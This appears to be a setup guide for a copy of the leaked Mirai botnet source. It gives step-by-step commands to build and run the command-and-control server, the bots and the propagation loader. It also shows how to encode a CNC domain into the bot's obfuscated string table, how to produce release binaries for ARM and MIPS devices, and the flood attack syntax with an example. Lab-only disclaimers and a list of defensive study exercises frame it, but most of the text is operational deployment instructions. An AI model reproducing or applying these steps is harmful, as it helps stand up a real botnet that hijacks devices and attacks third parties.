USE ONLY IN ISOLATED LAB ENVIRONMENTS WITH DEVICES YOU OWN
- Running this on public networks is ILLEGAL
- Only test against systems you have explicit permission to test
- Ensure complete isolation from production networks
A complete botnet testing environment with:
- Command & Control (CNC) server
- MySQL database for bot tracking
- Bot malware (compiled for testing)
- Loader for propagation testing
- Scan listener for reconnaissance results
# Update system
sudo apt-get update
# Install core dependencies
sudo apt-get install -y \
gcc \
golang-go \
electric-fence \
mysql-server \
mysql-client \
git \
build-essentialgcc --version # Should be 7.x or higher
go version # Should be 1.11 or higher
mysql --version # Should be 5.7 or highercd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code# Start MySQL service
sudo service mysql start
# Create database and tables
sudo mysql < scripts/db.sql
# Create admin user
sudo mysql mirai -e "INSERT INTO users VALUES (NULL, 'admin', 'password123', 0, 0, 0, 0, -1, 1, 30, '');"
# Verify
sudo mysql mirai -e "SELECT * FROM users;"# Edit CNC configuration
nano mirai/cnc/main.goUpdate these lines:
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "" // Your MySQL root password
const DatabaseTable string = "mirai"cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/mirai
# Build in debug mode (recommended for testing)
./build.sh debug telnetThis will create in debug/ folder:
cnc- Command & Control servermirai.dbg- Bot for x86 (with debug output)mirai.arm- Bot for ARM devicesenc- Configuration encoder toolscanListen- Scan result listener
By default, bot tries to connect to cnc.changeme.com. To change:
cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/mirai
# Generate obfuscated string for your domain
./debug/enc string localhost
# Output will show something like:
# XOR'ing 9 bytes of data...
# \x1e\x43\x41\x47\x4e\x4a\x43\x41\x56\x22
# Edit bot/table.c and update TABLE_CNC_DOMAIN:
nano bot/table.cFind this line:
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30);Replace with your encoded string and update the byte count.
cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/mirai/debug
# Start CNC server
./cncYou should see:
Mysql DB opened
Listening on port :23 (CNC)
Listening on port :101 (API)
Open a new terminal:
telnet localhost 23Login with:
- Username:
admin - Password:
password123
You should see the Mirai prompt!
cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/mirai/debug
# Run bot (it will try to connect to CNC)
./mirai.dbgThe bot will:
- Try to resolve CNC domain
- Connect to CNC server
- Register itself
- Wait for commands
In your telnet session to CNC, type:
bots
You should see your bot listed!
Once logged into CNC:
?- Show helpbots- List connected botsbotcount- Show number of bots- Attack commands (see below)
# UDP flood
udp [target_ip] [duration] [packet_size] [target_port]
# TCP flood
tcp [target_ip] [duration] [packet_size] [target_port] [flags]
# HTTP flood
http [target_url] [duration]
Example (against your own test server):
udp 192.168.1.100 60 512 80
Receive brute-force results from bots:
cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/mirai/debug
./scanListen 48101cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/loader
./build.sh
# Run loader (needs scan results on stdin)
./loaderFor stripped, optimized binaries:
cd /home/runner/work/Mirai-Source-Code/Mirai-Source-Code/mirai
./build.sh release telnetBinaries will be in release/ folder:
cnc- Production CNCmirai.x86- x86 botmirai.arm- ARM botmirai.mips- MIPS bot- etc.
- Check CNC is running:
netstat -tulpn | grep :23 - Check firewall:
sudo ufw status - Verify domain resolution or use IP in table.c
- Check MySQL is running:
sudo service mysql status
- Install dependencies:
sudo apt-get install gcc golang electric-fence - Check Go is in PATH:
which go - For cross-compilation errors, ignore them (need cross-compilers)
- Check MySQL is running:
sudo service mysql status - Verify credentials in
cnc/main.go - Check database exists:
sudo mysql -e "SHOW DATABASES;" - Verify user table:
sudo mysql mirai -e "SELECT * FROM users;"
Run CNC as root or adjust capabilities:
sudo ./cnc# Ensure your lab is isolated
# Use VMs with host-only networking
# Or dedicated VLAN with no internet access# Stop all processes
pkill -f cnc
pkill -f mirai
pkill -f loader
# Clean up test bots
ps aux | grep mirai
kill [PID]- Read ANALYSIS.md - Detailed architecture overview
- Study the code - Start with
mirai/bot/main.c - Analyze attacks - Look at
mirai/bot/attack*.c - Understand obfuscation - Check
mirai/bot/table.c - Explore CNC - Read
mirai/cnc/*.go
- Trace a bot connection - Use Wireshark to capture CNC protocol
- Decode obfuscated strings - Use the enc tool
- Analyze an attack - Read attack_udp.c and implement defense
- Create signatures - Write IDS rules to detect Mirai
- Implement patches - Fix security issues in the code
Common issues:
- Cross-compiler errors: Ignore unless building release for specific architecture
- MySQL connection: Check credentials match between config and database
- Bot not connecting: Verify domain/IP in table.c
- CNC port conflict: Check nothing else uses port 23
README.md- Original setup instructionsForumPost.md- Original leak post with technical detailsANALYSIS.md- Deep dive into architecturemirai/bot/table.h- Configuration options explained
Happy (ethical) hacking! 🔒
Remember: This is for learning defensive security, not for attacking systems.